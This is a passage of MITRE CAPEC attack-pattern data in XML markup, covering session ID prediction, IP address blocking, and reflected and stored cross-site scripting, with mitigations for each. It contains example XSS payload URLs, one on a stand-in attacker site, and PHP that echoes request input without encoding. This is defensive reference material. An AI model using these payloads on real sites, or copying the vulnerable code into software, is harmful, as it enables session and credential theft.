xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;URL String-based Filtering: Filtering based upon the use of particular strings included in the requested URL.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 300 + + + + + + + + + + + + #indReferenceReference33818 + Reference_33818 + + + + + + + + + REF-473 + + + + + + + + + + + + #indContentHistoryContentHistory33820 + Content_History_33820 + + + + + + + + + + + + + + + + #indSubmissionSubmission33821 + Submission_33821 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-12 + + + + + + + + + + + + #indModificationModification33825 + Modification_33825 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification33831 + Modification_33831 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-59 + Session Credential Falsification through Prediction + + + + + + + + + 59 + + + + + Session Credential Falsification through Prediction + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33846 + Related_Attack_Pattern_33846 + + + + + + + + + + + + + + 196 + + + + + + + + + + + + #indAttackStepAttackStep33849 + Attack_Step_33849 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find Session IDs] The attacker interacts with the target host and finds that session IDs are used to authenticate users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker makes many anonymous connections and records the session IDs assigned.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker makes authorized connections and records the session tokens or credentials issued.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep33856 + Attack_Step_33856 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Characterize IDs] The attacker studies the characteristics of the session ID (size, format, etc.). As a results the attacker finds that legitimate session IDs are predictable.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cryptanalysis. The attacker uses cryptanalysis to determine if the session IDs contain any cryptographic protections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pattern tests. The attacker looks for patterns (odd/even, repetition, multiples, or other arithmetic relationships) between IDs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Comparison against time. The attacker plots or compares the issued IDs to the time they were issued to check for correlation.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep33864 + Attack_Step_33864 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Match issued IDs] The attacker brute forces different values of session ID and manages to predict a valid session ID.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker models the session ID algorithm enough to produce a compatible session IDs, or just one match.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep33870 + Attack_Step_33870 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use matched Session ID] The attacker uses the falsified session ID to access the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker loads the session ID into their web browser and browses to restricted data or functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker loads the session ID into their network communications and impersonates a legitimate user to gain access to data or functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host uses session IDs to keep track of the users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Session IDs are used to control access to resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The session IDs used by the target host are predictable. For example, the session IDs are generated using predictable information (e.g., time).</xhtml:div> + + + + + + + + + + + + #indSkillSkill33884 + Skill_33884 + + + + + + + + + + + + + + There are tools to brute force session ID. Those tools require a low level of knowledge. + + + + + + + + + + + + #indSkillSkill33885 + Skill_33885 + + + + + + + + + + + + + + Predicting Session ID may require more computation work which uses advanced analysis such as statistical analysis. + + + + + + + + + + + + #indConsequenceConsequence33888 + Consequence_33888 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a strong source of randomness to generate a session ID.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use adequate length session IDs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not use information available to the user in order to generate session ID (e.g., time).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ideas for creating random numbers are offered by Eastlake [RFC1750]</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Encrypt the session ID if you expose it to the user. For instance session ID can be stored in a cookie in encrypted format.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Jetty before 4.2.27, 5.1 before 5.1.12, 6.0 before 6.0.2, and 6.1 before 6.1.0pre3 generates predictable session identifiers using java.util.random, which makes it easier for remote attackers to guess a session identifier through brute force attacks, bypass authentication requirements, and possibly conduct cross-site request forgery attacks. See also: CVE-2006-6969</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">mod_usertrack in Apache 1.3.11 through 1.3.20 generates session ID's using predictable information including host IP address, system time and server process ID, which allows local users to obtain session ID's and bypass authentication when these session ID's are used for authentication. See also: CVE-2001-1534</xhtml:div> + + + + + 290 + + + + + 330 + + + + + 331 + + + + + 346 + + + + + 488 + + + + + 539 + + + + + 200 + + + + + 6 + + + + + 285 + + + + + 384 + + + + + 693 + + + + + + + + + + + + #indTaxonomyMappingCredentialOrSessionPrediction + Credential/Session Prediction + + + + + + + + + + + + + + 18 + + + + + Credential/Session Prediction + + + + + + + + + + + + #indTaxonomyMappingSessionPrediction + Session Prediction + + + + + + + + + + + + + + Session Prediction + + + + + + + + + + + + #indReferenceReference33929 + Reference_33929 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory33931 + Content_History_33931 + + + + + + + + + + + + + + + + #indSubmissionSubmission33932 + Submission_33932 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification33937 + Modification_33937 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification33943 + Modification_33943 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification33949 + Modification_33949 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification33955 + Modification_33955 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-590 + IP Address Blocking + + + + + + + + + 590 + + + + + IP Address Blocking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary performing this type of attack drops packets destined for a target IP address. The aim is to prevent access to the service hosted at the target IP address.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33968 + Related_Attack_Pattern_33968 + + + + + + + + + + + + + + 603 + + + + + 514 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack requires the ability to conduct deep packet inspection with an In-Path device that can drop the targeted traffic and/or connection.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33976 + Consequence_33976 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Blocking packets intended for a target IP address denies its availability to the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Have a large pool of backup IPs built into the application and support proxy capability in the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Consider situations of information censorship for political purposes, where regimes that prevent access to specific web services.</xhtml:div> + + + + + 300 + + + + + + + + + + + + #indReferenceReference33992 + Reference_33992 + + + + + + + + + REF-475 + + + + + + + + + + + + #indContentHistoryContentHistory33994 + Content_History_33994 + + + + + + + + + + + + + + + + #indSubmissionSubmission33995 + Submission_33995 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-12 + + + + + + + + + + + + #indModificationModification33999 + Modification_33999 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Vulnerabilities + + + + + + + + + + + + #indModificationModification34005 + Modification_34005 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #CAPEC-591 + Reflected XSS + + + + + + + + + 591 + + + + + Reflected XSS + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The most common method of this is through a phishing email where the adversary embeds the malicious script with a URL that the victim then clicks on. In processing the subsequent request, the vulnerable web application incorrectly considers the malicious script as valid input and uses it to creates a reposnse that is then sent back to the victim. To launch a successful Reflected XSS attack, an adversary looks for places where user-input is used directly in the generation of a response. This often involves elements that are not expected to host scripts such as image tags (&amp;lt;img&amp;gt;), or the addition of event attibutes such as onload and onmouseover. These elements are often not subject to the same input validation, output encoding, and other content filtering and checking routines.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34021 + Related_Attack_Pattern_34021 + + + + + + + + + + + + + + 63 + + + + + + + + + + + + #indAttackStepAttackStep34024 + Attack_Step_34024 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34032 + Attack_Step_34032 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for reflected XSS vulnerability] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads and special characters to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of XSS probes in known URLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of HTML special characters to inject into parameters of known URLs and check if they were properly encoded, replaced, or filtered out.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34040 + Attack_Step_34040 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change a URL parameter to include a malicious script tag.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send information gathered from the malicious script to a remote endpoint.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34047 + Attack_Step_34047 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put the malicious URL on a public forum, where many victims might accidentally click the link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application that leverages a client-side web browser with scripting enabled.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application that fail to adequately sanitize or encode untrusted input.</xhtml:div> + + + + + + + + + + + + #indSkillSkill34060 + Skill_34060 + + + + + + + + + + + + + + Requires the ability to write malicious scripts and embed them into HTTP requests. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34066 + Consequence_34066 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful Reflected XSS attack can enable an adversary to exfiltrate sensitive information from the application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34071 + Consequence_34071 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful Reflected XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34078 + Consequence_34078 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful Reflected attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34085 + Consequence_34085 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful Reflected attack can allow an adversary to tamper with application data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use browser technologies that do not allow client-side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize strict type, character, and encoding enforcement.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that all user-supplied input is validated before use.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Consider a web application that enables or disables some of the fields of a form on the page via the use of a mode parameter provided on the query string.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://my.site.com/aform.html?mode=full&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The application’s server-side code may want to display this mode value in the HTML page being created to give the users an understanding of what mode they are in. In this example, PHP is used to pull the value from the URL and generate the desired HTML.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;?php&lt;xhtml:br&gt;&lt;/xhtml:br&gt;echo 'Mode is: ' . $_GET["mode"];&lt;xhtml:br&gt;&lt;/xhtml:br&gt;?&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Notice how the value provided on the URL is used directly with no input validation performed and no output encoding in place. A maliciously crafted URL can thus be formed such that if a victim clicked on the URL, a malicious script would then be executed by the victim’s browser:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;http://my.site.com/aform.html?mode=&amp;lt;script&amp;gt;alert('hi');&amp;lt;/script&amp;gt;&lt;/xhtml:div&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Reflected XSS attacks can take advantage of HTTP headers to compromise a victim. For example, assume a vulnerable web application called ‘mysite’ dynamically generates a link using an HTTP header such as HTTP_REFERER. Code somewhere in the application could look like:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;?php&lt;xhtml:br&gt;&lt;/xhtml:br&gt;echo "&amp;lt;a href="$_SERVER['HTTP_REFERER']"&amp;gt;Test URL&amp;lt;/a&amp;gt;"&lt;xhtml:br&gt;&lt;/xhtml:br&gt;?&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The HTTP_REFERER header is populated with the URI that linked to the currently executing page. A web site can be created and hosted by an adversary that takes advantage of this by adding a reference to the vulnerable web application. By tricking a victim into clicking a link that executes the attacker’s web page, such as:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;"http://attackerswebsite.com?&amp;lt;script&amp;gt;malicious content&amp;lt;/script&amp;gt;"&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The vulnerable web application ('mysite') is now called via the attacker's web site, initiated by the victim's web browser. The HTTP_REFERER header will contain a malicious script, which is embedded into the page by the vulnerable application and served to the victim. The victim’s web browser then executes the injected script, thus compromising the victim’s machine.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 79 + + + + + + + + + + + + #indReferenceReference34117 + Reference_34117 + + + + + + + + + REF-476 + + + + + + + + + + + + #indReferenceReference34119 + Reference_34119 + + + + + + + + + REF-604 + + + + + Testing for Reflected Cross Site Scripting + + + + + + + + + + + + #indContentHistoryContentHistory34121 + Content_History_34121 + + + + + + + + + + + + + + + + #indSubmissionSubmission34122 + Submission_34122 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-04-15 + + + + + + + + + + + + #indModificationModification34127 + Modification_34127 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification34133 + Modification_34133 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification34139 + Modification_34139 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Description, Example_Instances + + + + + + + + + + + + #indModificationModification34145 + Modification_34145 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #indModificationModification34151 + Modification_34151 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow, Extended_Description + + + + + + + + + + + + #indModificationModification34157 + Modification_34157 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-592 + Stored XSS + + + + + + + + + 592 + + + + + Stored XSS + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Initially presented by an adversary to the vulnerable web application, the malicious script is incorrectly considered valid input and is not properly encoded by the web application. A victim is then convinced to use the web application in a way that creates a response that includes the malicious script. This response is subsequently sent to the victim and the malicious script is executed by the victim's browser. To launch a successful Stored XSS attack, an adversary looks for places where stored input data is used in the generation of a response. This often involves elements that are not expected to host scripts such as image tags (&amp;lt;img&amp;gt;), or the addition of event attributes such as onload and onmouseover. These elements are often not subject to the same input validation, output encoding, and other content filtering and checking routines.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34173 + Related_Attack_Pattern_34173 + + + + + + + + + + + + + + 63 + + + + + + + + + + + + #indAttackStepAttackStep34176 + Attack_Step_34176 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for stored user-controllable inputs] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application. The adversary is looking for areas where user input is stored, such as user profiles, shopping carts, file managers, forums, blogs, and logs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34184 + Attack_Step_34184 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for stored XSS vulnerability] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads and special characters to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings to submit script in input fields that could be stored by the web application. If possible, the probe strings contain a unique identifier so they can be queried for after submitting to see if they are stored.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of HTML special characters to submit in input fields that could be stored by the web application and check if they were properly encoded, replaced, or filtered out.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34191 + Attack_Step_34191 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Store malicious XSS content] Once the adversary has determined which stored locations are vulnerable to XSS, they will interact with the web application to store the malicious content. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from a victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Store a malicious script on a page that will execute when viewed by the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a tool such as BeEF to store a hook into the web application. This will alert the adversary when the victim has accessed the content and will give the adversary control over the victim's browser, allowing them access to cookies, user screenshot, user clipboard, and more complex XSS attacks.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34198 + Attack_Step_34198 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to view stored content] In order for the attack to be successful, the victim needs to view the stored malicious content on the webpage.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing a URL that will direct them to the malicious stored content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Simply wait for a victim to view the content. This is viable in situations where content is posted to a popular public forum.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application that leverages a client-side web browser with scripting enabled.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application that fails to adequately sanitize or encode untrusted input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application that stores information provided by the user in data storage of some kind.</xhtml:div> + + + + + + + + + + + + #indSkillSkill34212 + Skill_34212 + + + + + + + + + + + + + + Requires the ability to write scripts of varying complexity and to inject them through user controlled fields within the application. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34218 + Consequence_34218 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful Stored XSS attack can enable an adversary to exfiltrate sensitive information from the application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34223 + Consequence_34223 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful Stored XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34230 + Consequence_34230 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful Stored XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34237 + Consequence_34237 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful Stored XSS attack can allow an adversary to tamper with application data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use browser technologies that do not allow client-side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize strict type, character, and encoding enforcement.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that all user-supplied input is validated before being stored.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary determines that a system uses a web based interface for administration. The adversary creates a new user record and supplies a malicious script in the user name field. The user name field is not validated by the system and a new log entry is created detailing the creation of the new user. Later, an administrator reviews the log in the administrative console. When the administrator comes across the new user entry, the browser sees a script and executes it, stealing the administrator's authentication cookie and forwarding it to the adversary. An adversary then uses the received authentication cookie to log in to the system as an administrator, provided that the administrator console can be accessed remotely.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. An adversary embeds JavaScript in the image tags of their message. The adversary then sends the victim an email advertising free goods and provides a link to the form for how to collect. When the victim visits the 